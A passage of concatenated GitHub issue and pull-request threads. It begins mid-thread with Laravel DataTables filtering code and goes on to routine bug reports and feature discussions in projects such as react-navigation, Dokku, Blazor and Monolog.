    	$doles = Dole::query();

    	return Datatables::eloquent($doles)
    	->editColumn('dole_date', '{{date("d.m.Y", $dole_date)}} r.')
    	->editColumn('dole_type', function(Dole $dole) {
    		return $dole->getType();
    	})
    	->editColumn('dole_cash', '{{number_format($dole_cash)}} zł')
    	->filter(function($q) use($request) {
    		if ($request->has('dole_cash_min')) {
    			$q->where('dole_cash', '>=', (int)$request->input('dole_cash_min'));
    		}

            if ($request->has('dole_cash_max')) {
                $q->where('dole_cash', '<=', (int)$request->input('dole_cash_max'));
            }

            if ($request->has('dole_date_min')) {
                $date = strtotime($request->input('dole_date_min'));
                $q->where('dole_date', '>=', $date);
            }

            if ($request->has('dole_date_max')) {
                $date = strtotime($request->input('dole_date_max'));
                $q->where('dole_date', '<=', $date);
            }
    	})->make(true);
    }

This is a code for this. Into filter function you can do evrything you want, searching, sorting etc. For this is needed two function, this function is for displaying filtered data, this need JS functions like this
if ($("#advance-search").length) {
	var advancedSearch = new Vue({
		el: "#advance-search",
		data: {
			doneTypingInterval: 500,
			typingTimer: null,
			searchUrl: null,
			customDolesData: null,
		},
		methods: {
			drawTable: function() {
				var self = this;
				var minDole = $(self.$options.el).find("[name='dole_cash_min']").val();
				var maxDole = $(self.$options.el).find("[name='dole_cash_max']").val();
				var minDate = $(self.$options.el).find("[name='dole_date_min']").val();
				var maxDate = $(self.$options.el).find("[name='dole_date_max']").val();

				LaravelDataTables["doles-table"] = $("#doles-table").DataTable({
					processing: true,
					serverSide: true,
					ajax: {
						url: self.searchUrl,
						data: {
							dole_cash_min: minDole,
							dole_cash_max: maxDole,
							dole_date_min: minDate,
							dole_date_max: maxDate
						},
					},
					searching: false,
					language: {
						url: 'http://kartoteka.dev/js/Polish.json',
						buttons: {
								copy: 'Do schowka',
								copyTitle: 'Skopiowano do schowka',
								copySuccess: {
								1: "Skopiowano jeden wiersz do schowka",
								_: "Skopiowano %d wierszy do schowka"
							}
						}
					},
					columns: [
						{
							data: 'id',
							name: 'id',
							title: '#'
						},
						{
							data: 'dole_type',
							name: 'dole_type',
							title: 'Typ'
						},
						{
							data: 'dole_cash',
							name: 'dole_cash',
							title: 'Ofiara'
						},
						{
							data: 'dole_date',
							name: 'dole_date',
							title: 'Data'
						}
					],
					order: [
						[
							3,
							"desc"
						]
					],
					lengthMenu: [
	                	[
	                		10,
	                		25,
	                		50,
	                		100,
	                		150,
	                		1000
	                	],
	                	[
	                		10,
	                		25,
	                		50,
	                		100,
	                		150,
	                		1000
	                	],
	                ],
	                dom: '<"pull-right"B>lfrtip',
	                buttons: {
	                	buttons: [
			                'copyHtml5',
			                {
			                	extend: 'pdf',
			                	text: 'Do PDF'
			                },
			                {
			                	extend: 'excel',
			                	text: 'Do EXCEL'
			                },
			                {
			                	extend: 'csv',
			                	text: 'Do CSV'
			                },
			                'reset',
			                'reload'
		                ],
	                }
				});
			},
			startTyping: function($url) {
				if (this.searchUrl == null) {
					this.searchUrl = $url;
				}

				clearTimeout(this.typingTimer);
				this.typingTimer = setTimeout(this.advancedSearch, this.doneTypingInterval);
			},
			advancedSearch: function() {
				LaravelDataTables["doles-table"].destroy();
				this.drawTable();
			},
		}
	})
}

And is required first loading full data function like that:
public function add(Request $request, Builder $builder)
    {
    	if ($request->ajax()) {
    		$doles = Dole::with('floor');

    		return Datatables::eloquent($doles)
    		->editColumn('dole_date', '{{date("d.m.Y", $dole_date)}} r.')
    		->editColumn('dole_type', function(Dole $dole) {
    			return $dole->getType();
    		})
    		->editColumn('dole_cash', '{{number_format($dole_cash)}} zł')
    		->make(true);
    	}

    	$doles = $builder->columns([
                [
	                'data' => 'dole_type',
	                'name' => 'dole_type',
	                'title' => 'Typ'
                ],
                [
	                'data' => 'dole_cash',
	                'name' => 'dole_cash',
	                'title' => 'Ofiara'
                ],
                [
	                'data' => 'dole_date',
	                'name' => 'dole_date',
	                'title' => 'Data'
                ],
                [
                    'data' => 'floor.floor_name',
                    'name' => 'floor.floor_name',
                    'title' => 'Ulica'
                ]
            ])
    	    ->parameters([
                'language' => [
                	'url' => asset('js/Polish.json'),
	                'buttons' => [
	                	'copy' => 'Do schowka',
	                	'copyTitle' => 'Skopiowano do schowka',
	                	'copySuccess' => [
		                	'1' => "Skopiowano jeden wiersz do schowka",
		                	'_' => "Skopiowano %d wierszy do schowka"
	                	],
	                ],
                ],
                'searching' => false,
                'dom' => '<"pull-right"B>lfrtip',
                'buttons' => [
	                [
	                	'copyHtml5'
                	],
	                [
	                	'extend' => 'pdf',
	                	'text' => 'Do PDF'
	                ],
	                [
	                	'extend' => 'excel',
	                	'text' => 'Do EXCEL',
	                ],
	                [
	                	'extend' => 'csv',
	                	'text' => 'Do CSV',
	                ],
	                [
	                	'reset',
	                ],
	                [
	                	'reload',
	                ]
                ],
                'lengthMenu' => [
                	[
                		10,
                		25,
                		50,
                		100,
                		150,
                		1000
                	],
                	[
                		10,
                		25,
                		50,
                		100,
                		150,
                		1000
                	],
                ],
                'order' => [
                	[
                		3,
                		'desc'
                	]
                ]
            ]);

    	return view('doles.index', compact('doles'));
    }

In view we need just put some code like this:
{!! $doles->table(['class' => 'table table-striped', 'id' => 'doles-table'], true) !!}
@section('js')
	{!! $doles->scripts() !!}
@endsection

This is enougth for create full text search and filtering data whatever you want with fast loading data from database. Thing about it, i hope my code help you take a good decision.

Hi Adrian,
I believe dataTypes would require quite some time to implement. Plus, we would be creating a dependency on that, and I totally disagree with it.
Other maintainers may have something to say too. I don't decide things in here.
Please be patient :)

Im just offer, i won't work on it :D

@turtuga Thanks for this. I added the filter functionality in the search as well 👍
This will be available when we release 1.0 next month :)

@tnylea In my opinion filters are the most important feature that is lacking in Voayger.
Just my 2 cents:

There should be a way to add several filters at the same time
It would be great if we could share a link to a filtered list with colleagues

How i can set a field as searchable or not?

if implementing DataTables may take time, what is the recommended package to export EXCEL or PDF?

@corexz, this was merged months ago and has nothing to do with data export

Hi, is this already working?


[apply-login-partner-changes] - Apply confirmation message layout

Describe the bug
After applying, the application message should follow the design in Figma
To Reproduce
Steps to reproduce the behavior:

Go to APPLY
Click on Mentor radio button
Complete all fields
See confirmation message layout, is not same as of Figma.

Expected behavior
Same output as of Figma must be shown
Screenshots
Current output

Expected output

fixed

ok @eslamzaaki


Flow types not correctly stripped from release package

I noticed that the flow types are not correctly stripped out of the javascript files in the release npm package. For example in the src/NavigationActions file there is code like this:
const createAction = (type: string) => (payload: object = {}) => ({
  type,
  ...payload,
});

this will break any non flow setup. So when I run my react native packager, it works because I guess that also transforms javascript inside the node_moduels folder even if the @flow annotation at the top is missing?
But when I run jest tests that import the NavigationActions it breaks for me

How do you suggest we strip out the flow types? Ideally we would make sure that flow types are exported such that apps which use flow can verify that they use the react-nav API correctly
cc @skevy

There should be js only files in the repo without any flow types. There also is this ongoing discussion https://github.com/facebook/flow/issues/1996
In there is one easy and good suggestion. Just put transpiled files into a dist folder and create a index.js.flow file along the normal index.js file that points to the files in the src folder which are flow annotated and will be preferred by flow over the standard index.js

@ericvicenti I just installed the latest version from master (because of 0.43.3 issue) and now I believe I'm running into this flow type error:

I have to install
"flow-react-proptypes",
"transform-flow-strip-types"

to make it work right now, or ?

What I also don't understand. This transpiling into js.flow files already happens and the files are transpiled into a lib and lib-rn folder. But inside the package.json the main entry points to the src folder. This is the problem. If this is changed to lib everything will work with flow and native js. Should we just change that for the package builds?

And also, it seems to work for react-native packager because of the sources object in the package json?
  "sources": {
    "react-native-v1": "lib-rn/react-navigation.js",
    "web": "lib/react-navigation.web.js"
  },

where is this documented? How does this sources work and which package(s) introduced that feature to the package.json just for me to understand this.

@wwwdata i'm having the same questions. the flow type in the exported package doesn't really work. flow simply wouldn't check the types because react-navigation.js is marked with @noflow.


guests-list

Families Page

Trello:
https://trello.com/c/RFS4peS8/389-crate-families-list
Families Page:
User can push the Button I Can Help and redirect to https://wehelp.live/host.
User can push the link provided on a page to pick up the family to be hosted.
User redirected to https://wehelp.live/guests
User can't see the list of family cards with photos, id, names, and stories.
User remembers the id number and returns back to https://wehelp.live/host. and enter an id number of the family in the corresponding field
TBD: User flow to be reworked in the future. Cards' design to be changed.
Acceptance Criteria

[ ]  - Link leads to https://wehelp.live/guests
[ ]  - Families added to the list based on Status 'Validated' and 'Published'"
[ ]  - Following fields are present on the screen: photo, id, name, and story
[ ]  - Page made per Figma design is out of scope
[ ]  - DB clean up, loader, back button, pick up button, and pagination are out of scope

Demo
https://deploy-preview-67--wehelpvip.netlify.app/guests

Please also remove empty file components/block/family.vue


Redirect subdomains to root domain and have custom ports

I have installed Dokku on DigitalOcean instance and it works really nice. Moreover; I would like have the following scenario regarding the subdomains of my domain and ports.

I want all subdomains to be Redirected to root domain and my production instance to be in the root domain listening port 80.
I also want a custom port for my staging instance. Of course, for the staging case also, all subdomains will be redirected to root domain by keeping the port.

For example
http://randomsubdomain.example.com will be redirected to http://www.example.com and be responded by my prod-app instance.
http://yarandomsubdomain.example.com:2323 will be redirected to http://www.example.com:2323 and be responded by my stag-app instance.
I looked DigitalOcean DNS, nginx and dokku plugins but I couldn't figure out how to do that. I appreciate any kind of help to give me a direction. Thanks.

I think this can now be accomplished with an nginx template and the domains plugin, no? Use the nginx template to do the redirection and the domains plugin to tie the root domain to a given app. Let me know if that works for your case.

The first part can potentially can be accomplished if we do #924. The ports bit might be tricky.

We now have custom ports via $DOKKU_NGINX_PORT and $DOKKU_NGINX_SSL_PORT

We also have an official redirect plugin. Closing. Let us know if these do not satisfy your use case.


chore: remove referralProgramDesktopBanner dead code

📝 Description
remove referralProgramDesktopBanner dead (unused) code.
❓ Context

JIRA or GitHub link: https://ledgerhq.atlassian.net/browse/LIVE-11584

✅ Checklist
Pull Requests must pass the CI and be code reviewed. Set as Draft if the PR is not ready.

[ ] npx changeset was attached.
[x] Covered by automatic tests.
[x] Impact of the changes:

no changes for the user

🧐 Checklist for the PR Reviewers

[ ] The code aligns with the requirements described in the linked JIRA or GitHub issue.
[ ] The PR description clearly documents the changes made and explains any technical trade-offs or design decisions.
[ ] There are no undocumented trade-offs, technical debt, or maintainability issues.
[ ] The PR has been tested thoroughly, and any potential edge cases have been considered and handled.
[ ] Any new dependencies have been justified and documented.
[ ] Performance considerations have been taken into account. (changes have been profiled or benchmarked if necessary)

@mcayuelas-ledger forgotten parts


[Spark EF][Enhancement]Adding De-Deuplication logic for Spark Exception Fingerprinting results

WHAT CHANGES ARE PROPOSED IN THIS PR
This PR is aimed to add deDup logic before saving the EF results to the DB. Currently, there is no dedup is done in case of SparkExceptionFingerprinting, so the changes are done in this PR to look for the same Exception Stacktraces and remove the duplicate one from the result before saving them to the database. The problem with the result duplication is implicitly the memory resource wastage, no extra information for the end-user, some overhead while fetching the results for the API call.
How these changes are Tested
Testing it on the EI machine. The current Unit tests are rigid in terms of flexibility to test new changes made, finding a way out to make them more structured and add tests for the done changes.

@ShubhamGupta29 This is only removing duplicate and not similar exceptions . We should have logic to remove simillar exceptions also

These changes are made in accordance with DSS-24596.
Also just an observation, in Spark there are not many similar exceptions as in TonY. In Spark, most of the exceptions will be having format of JavaExceptions, so huge chances are there for two exceptions to be the same. In Tony, most of the time exception stack traces did have only different container_id else whole so there was a lot of similarity between the logs.
For Spark also I will add similarity logic but in different future PR.


str(ULID()) infinite recursion

Wanting to try this library, I went in to iPython (Python 3.7) and typed:
from ulid import ULID
ULID()
Output:
~/local/py3env/lib/python3.7/site-packages/ulid/ulid.py in repr(self)
45
46     def repr(self):
---> 47         return "%s(%r)" % (self.class.name, str(self))
48
49     # Function to generate the ulid without monotonicity or ms time handling
RecursionError: maximum recursion depth exceeded while getting the str of an object
Not a critical bug, but thought it worth mentioning, as every other ulid library I tried had some kind of problem and I was about to abandon this one too, but then tried the instructions according to the documentation.

Hi @kcburge ,
Thank you for checking out my library and logging this Issue! I highly appreciate it.
The error stems from an earlier iteration of the program where I had a custom repr function, which is not necessary for the current implementation.
I have now fixed the bug.


fix: Set framebufferOnly to true allowing the Metal Layer to be more optimized

From the documentation of that prop:
    /* This property controls whether or not the returned drawables'
     * MTLTextures may only be used for framebuffer attachments (YES) or
     * whether they may also be used for texture sampling and pixel
     * read/write operations (NO). A value of YES allows CAMetalLayer to
     * allocate the MTLTexture objects in ways that are optimized for display
     * purposes that makes them unsuitable for sampling. The recommended
     * value for most applications is YES. */

..it looks like setting this to YES might be more optimized. I tried to set it to yes for VisionCamera and everything still worked fine, not sure if there is anything breaking in RN Skia so I haven't thoroughly tested that yet tbh.

This option in Skia is technically not supported.
Are you seeing big performance improvement on some use-cases? The reason I'm asking is because _layer.framebufferOnly = YES; can work for drawing that don't involve blend mode that do more than returning opaque src or dst. So let me know if we need to reconsider this.


Update: add Windows support

On Windows, it needs {shell: true} option to lookup commands. The option exists since Node.js 6.
execFileSync does not have shell option, so I changed it to spawnSync.

Ops, sorry, I have forgotten changing branch to test it on local Linux.

Would it be useful if I transferred this project to the eslint organization?

I think the build is currently broken because some projects introduced linting errors. We should probably implement https://github.com/not-an-aardvark/eslint-canary/issues/2 soon.

Would it be useful if I transferred this project to the eslint organization?

Maybe. It works to me on either way.

I think the build is currently broken because some projects introduced linting errors. We should probably implement #2 soon.

I agreed.

If you rebase this branch, I think the build should be fixed.

git clone seems to get spending long time, I guess because --depth=1 was removed.

Yes, I removed that because everything is pinned to a commit now, so --depth=1 might not fetch the right commit.
However, now it only needs to clone a project once instead of multiple times, since it doesn't remove the project before every run.

I got it, thank you!


Instructions Aren't Working

Create a bot section requires to install -r requirements.txt but file hasn't been placed in folder and this throws an error.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9d5bd35d-3178-42cd-2893-3b6a4b7a94ce
Version Independent ID: 1545fd44-d471-d947-f94d-4b5e8d6e853f
Content: Tutorial to create and deploy a basic bot - Bot Service - Bot Service
Content Source: articles/v4sdk/bot-builder-tutorial-basic-deploy.md
Service: bot-service
GitHub Login: @ivorb
Microsoft Alias: kamrani

Hi @EddieGranados, I can see the steps are out of order. You need to run pip install -r requirements after your bot has been created. I updated the article in PR 2096 to address the confusing steps. The changes should go live soon.

Closing now that changes are live.


关于losses中dist_mean和dist_std参数的问题

在 unimol/losses/unimol.py 中，初始化了两个参数 self.dist_mean = 6.312581655060595 和 self.dist_std = 3.3899264663911888，想请教以下这两个参数的来源，以及在更换数据集后，这两个参数对网络训练是否有影响？

Yes, this has an impact during training. These two values are calculated based on the training data for pretraining and need to be recalculated if the dataset changes.


Broken roadmap link in the README 🔗->💥

Hello, 👋
The roadmap link in the README returns HTTP 404 NOT FOUND:

Thanks, seems GitHub is slowly removing classic projects...
Will rebuild it and change the link ;)

Fixed!
Thanks


missing msvcp140.dll

I am getting the error that msvcp140.dll is missing after changing from poppler-0.68.0_x86 to poppler-0.90.1 on Windows 2012 Server.

Hi,
I believe this is an issue with Windows Server 2012 as I do not encounter this issue on Windows 10. Unfortunately I am unable to test this as I do not own a copy of Server 2012.
These are the steps you can try to take:

It appears that msvcp140.dll is included in Visual C++ Redistributable for Visual Studio 2015, so you can try to install that from here.
You can try to follow this tutorial to download an install the dll.

Let me know if you still encounter issues after trying the above.
Owen

Works. Thanks. Before, I googled and then picked an older VC runtime download and it said my system already had a newer version. Your 2015 link fixed it.

Fantastic! Glad that I could help!


Explore Search: No title bar for item, non-existent menu for item, wrongly-worded menu for category

Explore>Search>Items>item lacks a title (maybe white on white?) and three-dot menu containing "View item page":

It should be like the equivalent category (notice the title "Rabbits" and the three-dot menu containing "View file page"):

By the way, for categories "View file page" should be specifically reworded to "View category page".
To see these screens, go to Explore, tap in the search bar, type rabbit, tap either "categories" or "items", then tap the first row

can i work on this issue

@Prince-kushwaha Sure, thanks! Please do not hesitate to ask if I forgot to clarify anything.

Ah, I noticed that the bar (with many elements this time) is also missing in media details when opening a picture like this:
Explore
Tab "Featured"
Open the media details of any image with a depiction (for instance the recent "American kestrel" image)
Tap a depiction
Tab "Media"
Tap any picture
Directly from "Featured":

Via the depiction:


imx9 pcie rc and ep driver support

@jkivilin @pussuw you are working on arm64/imx9 arch recently, do you have any plan to work on pcie driver which exist on I.MX95 chip?

No plans for imx95 or pcie


Revert "model.datatypes: add yearMonthDuration, dayTimeDuration, dateTimeStamp"

This reverts commit 8fee1c51a8d98b9de1a96089d2203d4554cdeb12. This commit was for V3.0RC02 only, it is reverted for V3.0 compatibility.
See also: #53
Tests fail because #67 isn't merged yet.

Can you update this branch to improve/V30?

@s-heppner done

Perfect!


2.8.x

Proposed changes:

Merging after the micro release 2.8.2

Status (please check what you already did):

[ ] added some tests for the functionality
[ ] updated the documentation
[ ] updated the changelog (please check changelog for instructions)
[ ] reformat files using black (please check Readme for instructions)

Re the conflict in poetry.lock: The easiest approach is to delete poetry.lock and regenerate it using poetry lock.

Thanks for the tip! I'll do that.

I deleted poetry.lock from 2.8.x and regenerate it using poetry lock but can't push the change because 2.8.x is now protected. Am I doing it wrong? 🤔

oooooh. Sorry, I should have caught that earlier 😬
The best way is not to merge 2.8.x. directly but rather via a separate branch:
git checkout main
## Make sure local `main` branch is up to date
git pull origin main

git checkout 2.8.x
## Make sure that 2.8.x is up to date
git pull origin 2.8.x

# Create
git checkout -b "merge-2.8.2-to-main"
git merge main

# [potentially resolve merge conflicts]

# Push to rasa repository
git push origin merge-2.8.2-to-main

# Create PR and request me as reviewer

Does that make sense? Sorry for not pointing this out earlier.

Yes that makes sense, thanks!

Okay I created a new pull request. Hopefully I did it right this time! 😄


M Code List for Fanuc i-series Variant

Would like to see support added for Fanuc i-Series controls for lathe.

@doggt123 do you have any good links to Fanuc i-Series references so we can make them into the JSON's needed for this project?

@doggt123 sorry! I just saw the PR for this :)

Hey Mike,
Sorry I just noticed your reply. I don’t have any thorough references for the I-series stuff. Trying to find anything on them online is so iffy from our experience. I have access to the operation manual as a pdf and can provide that if needed. It has a fairly comprehensive list.
Get Outlook for iOShttps://aka.ms/o0ukef

From: Mike Centola @.>
Sent: Tuesday, April 25, 2023 3:28:32 PM
To: appliedengdesign/gcode-reference @.>
Cc: Victor Wardle @.>; Mention @.>
Subject: Re: [appliedengdesign/gcode-reference] M Code List for Fanuc i-series Variant (Issue #82)
@doggt123https://github.com/doggt123 sorry! I just saw the PR for this :)
—
Reply to this email directly, view it on GitHubhttps://github.com/appliedengdesign/gcode-reference/issues/82#issuecomment-1522501023, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJYG4SIPP4O4KCP5BXBQSQDXDBFZBANCNFSM6AAAAAATG56R3U.
You are receiving this because you were mentioned.Message ID: @.***>


set_cell fails to set a specific terrain

For some reason, the individual tile type for my wood plank wall terrain is not getting tiled by the gde version of better terrain.  This works with the regular gdscript version of better-terrain. I also tried removing all tiles except for the individual tile type. This results in no tile getting placed by set_cell.

I suspect the terrain data is not getting fully read into the gdextension.

Here's my code snippet
func _set_and_update_cell(layer: int, position: Vector2i, terrain_id: int, update: bool = true):
	if _has_gdextension:
		_better_tile_map.set_cell(layer, position, terrain_id)
		if update:
			_better_tile_map.update_terrain_cell(layer, position)
	else:
		BetterTerrain.set_cell(tile_map, layer, position, terrain_id)
		if update:
			BetterTerrain.update_terrain_cell(tile_map, layer, position)

Here's the tileset tres file
hd_tileset.zip
I'm going to try to narrow it down more since it's weird that only this terrain (which is the 3rd terrain) is acting weird.

It seems to be strictly tied to the third terrain slot. If I shuffle the ordering of the tiles, the 3rd terrain always encounters this problem.


Webhook autoscaller ignore currently idle runners and spawn new runner

Is your feature request related to a problem? Please describe.
I have the next configuration:
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  name: runner
spec:
  template:
    spec:
      labels:
      - runner
      repository: askoriy/test-repo
---
apiVersion: actions.summerwind.dev/v1alpha1
kind: HorizontalRunnerAutoscaler
metadata:
  name: autoscaller
spec:
  scaleTargetRef:
    name: runner
  scaleUpTriggers:
  - githubEvent: {}
    amount: 1
    duration: "5m"
  minReplicas: 3
  maxReplicas: 10

I want to have several hot runners and use autoscaller only if they are not enough.
But currently, every time workflow_job webhook is received the new runner is spawned, regardless there are enough idle runners to catch the job without scaling up.
Keeping non-zero minReplicas makes faster workflow running, but Webhook Driven Scaling makes resource utilization ineffective because of unnecessary extra scaling up.
Describe the solution you'd like
I expect to scale only if the number of current workflow_job queue events is more than the minReplicas runners.

I want to have several hot runners and use autoscaller only if they are not enough.

@askoriy Unfortunately, that's fundamentally impossible due to how GitHub Actions API and actions/runner agents work.
You'd need to ask GitHub to provide 2 things.
First, a very-API-ratelimit-friendly API to get real-time statuses of runners, so that HRA could utilize it to decide if the runner is busy or not, without introducing any cache layer that delays the status updates.
Second, you'd need to ask GitHub to provide a way to control which runner can run which specific workflow job. Currently that's not possible, and you may end up with a race condition between ARC and Actions, that ARC thinks a runner is idle and skips adding a runner pod, while GitHub concurrently decides to schedule a workflow job to the runner.


proposal: runtime garbage profile

For latency sensitive applications, excess garbage1 can have a major impact on tail latencies. The alloc reporting feature of benchmarks is a excellent tool for identifying garbage, but cannot be used during runtime on live applications.  And heap profiling can show live objects and allocs but it is often difficult to discern garbage from regular heap allocated objects. A profile that records short lived objects and their allocation sites over a given duration could be a useful tool for identifying sources of garbage.
The memory statistics provided by the runtime package do not provide exact numbers for garbage allocations, but likely provide enough information for accurate estimation. One way to estimate garbage is by comparing memory statistics before and after each GC pass. Taking the minimum value between a) alloced objects/bytes before GC and b) freed objects/bytes after GC gives an estimate of garbage per GC. Repeating this over a long enough duration may produce a statistically accurate estimate of garbage.
Please see the github.com/benburkert/pprof-garbage package proof of concept and demo.
1: garbage being defined as extremely short lived objects/bytes: marked as live for less than one period between GC passes.

/cc @aclements who was thinking about something very similar (putting dead objects in the normal heap profile)

@aclements ping!

And heap profiling can show live objects and allocs but it is often difficult to discern garbage from regular heap allocated objects.

In the default "-inuse_space" mode, it shows only reachable objects, so there isn't any garbage to discern.

A profile that records short lived objects and their allocation sites over a given duration could be a useful tool for identifying sources of garbage.

Have you tried taking two heap profiles and using go tool pprof -alloc_space -base <before> <after>?
If this doesn't solve the problem, could you take a look at my proposal at https://github.com/golang/go/issues/13463#issuecomment-235048896? The aim of that proposal is to more clearly surface sources of short-lived garbage.

Any news here? Leaning toward declining, based on lack of interest.

It sounds like the right place for further discussion is #13463, which is already about more detail in memory profiles.


Requiring CSS modules

When requiring CSS modules (ex: - styles = require('!css?modules!./styles.css')), it seems that what's returned to Jade/Pug is the output CSS string, not the  object with original classname keys. Is there a way to ensure that the module map is returned to jade?

Can you make a minimal example of this issue (preferably in a GitHub repo) and show the output file?

You can access to classes through styles.locals:
styles.locals.classname

At long last, I've made the test case for this, and what @vlazh says is exactly correct. Using css-loader/locals is even mentioned in the css-loader README regarding prerendering. Thanks for the pointer!


Help

May I know how to get the send message endpoint cus in the webpage it uses websocket to send the messages i will be thankful if you helped me <3.

Currently the project is temporarily suspended because I no longer have free time to fix them. If possible, I will fix them immediately. You can contact me via Telegram: @minhhuydev to provide details about this error


Include a set of out-of-the-box request and response transformers

After talking to @gustavoguichard and @diogob, we decided not to include these for now to keep the library focused 💪🏽


unable to connect to web server

Log Name:      Application
Source:        Application Error
Date:          5/9/2018 9:43:48 AM
Event ID:      1000
Task Category: (100)
Level:         Error
Keywords:      Classic
User:          N/A
Computer:      Norfolk11-PC
Description:
Faulting application name: dotnet.exe, version: 2.0.26407.1, time stamp: 0x5ac8028c
Faulting module name: KERNELBASE.dll, version: 10.0.16299.371, time stamp: 0x6369e29f
Exception code: 0xe0434352
Fault offset: 0x0000000000014008
Faulting process id: 0x1698
Faulting application start time: 0x01d3e79bc1d9c5ac
Faulting application path: C:\Program Files\dotnet\dotnet.exe
Faulting module path: C:\WINDOWS\System32\KERNELBASE.dll
Report Id: 1cce755f-b858-4d8a-be11-3d4d49220df9
Faulting package full name:
Faulting package-relative application ID:
Event Xml:

1000
2
100
0x80000000000000

30090
Application
Norfolk11-PC

dotnet.exe
2.0.26407.1
5ac8028c
KERNELBASE.dll
10.0.16299.371
6369e29f
e0434352
0000000000014008
1698
01d3e79bc1d9c5ac
C:\Program Files\dotnet\dotnet.exe
C:\WINDOWS\System32\KERNELBASE.dll
1cce755f-b858-4d8a-be11-3d4d49220df9

You need to explain more on what you are doing for someone to be able to help you.

My apologies - new at this
Was trying the sample blazor app walk through on the blazor.net page.
... found a fix for it ... my .net was not updated correctly - it works ok
now - except not for my edge browser but it works in my chrome browser -
I'm going to look for updates to the browser to see if that fixes it ... my
edge browser gets stuck in the loading step ...
Thanks,
David Bambrick
David Bambrick
JCAII
<EMAIL_ADDRESS>416-717-4556
This email and any files transmitted with it are confidential and intended
solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager.
This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not
disseminate, distribute or copy this e-mail. Please notify the sender
immediately by e-mail if you have received this e-mail by mistake and
delete this e-mail from your system. If you are not the intended recipient
you are notified that disclosing, copying, distributing or taking any
action in reliance on the contents of this information is strictly
prohibited.
On Wed, May 9, 2018 at 10:02 AM, Flores Eken<EMAIL_ADDRESS>wrote:

You need to explain more on what you are doing for someone to be able to
help you.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/Blazor/issues/801#issuecomment-387748997, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AFsn1ytyEHHqgxdKI7PbQPxh62qrCUWOks5twvb7gaJpZM4T4W30
.

On Edge do you see any errors in the browser console?

Corrections - the VS option was set for Explorer - not Edge - it works fine
in Edge and in Chrome - but the explorer was V11 - did not investigate the
dev browser console yet - will do and let you know.
Regards,
David Bambrick
JCAII
<EMAIL_ADDRESS>416-717-4556
This email and any files transmitted with it are confidential and intended
solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager.
This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not
disseminate, distribute or copy this e-mail. Please notify the sender
immediately by e-mail if you have received this e-mail by mistake and
delete this e-mail from your system. If you are not the intended recipient
you are notified that disclosing, copying, distributing or taking any
action in reliance on the contents of this information is strictly
prohibited.
On Wed, May 9, 2018 at 12:10 PM, Daniel Roth<EMAIL_ADDRESS>wrote:

On Edge do you see any errors in the browser console?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/Blazor/issues/801#issuecomment-387791689, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AFsn1xs8XDZiEQv3q0YV4ahbUImA32z0ks5twxTagaJpZM4T4W30
.

For Internet Explorer (11) you'll need a few polyfills, e.g. https://github.com/Daddoon/Blazor.Polyfill

Thanks so much .. I will try that later on.
DB
David Bambrick
JCAII
<EMAIL_ADDRESS>416-717-4556
This email and any files transmitted with it are confidential and intended
solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager.
This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not
disseminate, distribute or copy this e-mail. Please notify the sender
immediately by e-mail if you have received this e-mail by mistake and
delete this e-mail from your system. If you are not the intended recipient
you are notified that disclosing, copying, distributing or taking any
action in reliance on the contents of this information is strictly
prohibited.
On Thu, May 10, 2018 at 12:53 PM, Robin Sue<EMAIL_ADDRESS>wrote:

For Internet Explorer (11) you'll need a few polyfills, e.g.
https://github.com/Daddoon/Blazor.Polyfill
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/Blazor/issues/801#issuecomment-388114223, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AFsn16uLUA28fWGr1gSLiqYBztgOq-sbks5txHB-gaJpZM4T4W30
.


WIP - Add link to Keplr while is being worked on #613

Please ignore this PR for now. It's not working. I'll check tomorrow.

We added this in a recently merged PR


Throw RuntimeException if socket resource is missing

The socket resource can be closed, purged or lost during the runtime of an application.
It is valid concern, because the resource is acquired and used at different times during request.
LogicException is more for static preconditions that have to be valid before function call.
I realize that it's BC break, but it still makes sense. Having that I can handle all RuntimeExceptions the same way, instead of using catch-all Exception handling.

The RuntimeExcepion feels more apropriate as the LogicException (as there is no logical error, just the runtime assumption that the socket will work is no longer valid).
In case you wanne handle this case in a dedicated try-catch block you could just add a SocketGoneException extends RuntimeException and throw this instead (which would also preserve BC)

@staabm I know I could extend exception, but it's more about the semantics of those exceptions. Socker resource can be gone at any time in runtime, hence relevant exception. Here's nice explanation of Logic vs Runtime exception:
http://stackoverflow.com/a/5586510

I agree that RuntimeException is a better fit then LogicException (as I wrote above).
I just proposed the BC version of this patch as IMO in a minor release such types shouldn't change.

Agree, definitely BC change not for minor version release. I've noticed @Seldaek is working on major release, because I see a lot of BC breaks in master (including PHP7 requirement). Maybe it's the time to re-think the structure and semantics of exceptions in handlers?

Agree, definitely BC change not for minor version release. I've noticed @Seldaek is working on major release, because I see a lot of BC breaks in master (including PHP7 requirement). Maybe it's the time to re-think the structure and semantics of exceptions in handlers?

good call. lets wait for jordi.

Similar kind of problem is in StreamHandler. In this case LogicException makes sense, but it should be rather thrown at initialization step (i.e. constructor) not during writing:
https://github.com/Seldaek/monolog/blob/master/src/Monolog/Handler/StreamHandler.php#L94

LogicException was used there IMO as a UDP socket shouldn't just stop working out of the blue AFAIK, as it's not really an established connection but rather a fire and forget protocol.. Maybe that's a wrong assumption though, in which case I'm ok changing it for 2.0 to RuntimeException
Regarding StreamHandler, it's not done in constructor because in most requests nothing is logged if you only log errors, so doing i/o checks for the stream validity would be prohibitive in performance terms.

Ping? :) I'd be happy to get a definite answer to:

LogicException was used there IMO as a UDP socket shouldn't just stop working out of the blue AFAIK, as it's not really an established connection but rather a fire and forget protocol.. Maybe that's a wrong assumption though, in which case I'm ok changing it for 2.0 to RuntimeException

Then we can move forward.

